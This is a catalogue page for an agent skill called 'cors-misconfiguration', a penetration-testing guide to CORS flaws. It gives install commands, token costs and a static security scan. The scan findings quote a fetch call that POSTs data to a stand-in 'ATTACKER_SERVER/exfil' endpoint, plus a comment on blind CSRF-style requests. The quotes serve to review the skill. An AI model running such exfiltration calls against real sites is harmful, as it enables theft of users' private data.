cors-misconfiguration

cors-misconfiguration is a skill for Claude Code, Codex from blacklanternsecurity/red-run. It costs 23 tokens per session (3,975 once invoked), scanned C, original, GPL-3.0.

A security testing guide for exploiting incorrect CORS settings. CORS is the browser rule that controls which websites may read responses from another website.

In plain words
What is it for?
Authorized penetration testing of web APIs and applications that allow requests from other websites.
Why use it?
It helps find cases where an untrusted website can read private data or make requests as a logged-in user.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit Authorized penetration testing of web APIs and applications that allow requests from other websites.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/blacklanternsecurity/red-run/cors-misconfiguration
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add blacklanternsecurity/red-run --skill cors-misconfiguration
Clone the repo
git clone --depth 1 https://github.com/blacklanternsecurity/red-run

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for cors-misconfiguration

README.md
[![agentmods](https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/cors-misconfiguration/github.svg)](https://agentmods.dev/skills/blacklanternsecurity/red-run/cors-misconfiguration)
Your own site
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/cors-misconfiguration"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/cors-misconfiguration/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for cors-misconfiguration

Your own site · 80×15
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/cors-misconfiguration"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/cors-misconfiguration.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 23 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,975 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00023 $0.03975
Opus 5 $0.00012 $0.01988
Sonnet 5 $0.00005 $0.00795
Haiku 4.5 $0.00002 $0.00398

Measured 5d ago against content hash 54b222aca6ac, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade C, and why

cors-misconfiguration scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Hidden instructionshighPrompt injection

Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.

<!-- This POST will be SENT (server processes it) even without CORS headers. The browser just prevents reading the response. Useful for blind CSRF-style attacks where you don't need the response. -->

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

fetch('https://ATTACKER_SERVER/exfil', { method: 'POST',

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- curl
skills/web/cors-misconfiguration/SKILL.md · 527 lines

The source is not reproduced here

Licensed GPL-3.0

The repository is licensed GPL-3.0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 527 lines · 23 tokens per session scan C 54b222aca6ac

Subscribe to this mod's changes

cors-misconfiguration is a skill published in the GitHub repository blacklanternsecurity/red-run (267 stars, last pushed 5mo ago), licensed GPL-3.0. It adds 23 tokens to every session and 3,975 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it C with 3 findings (hidden instructions, sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.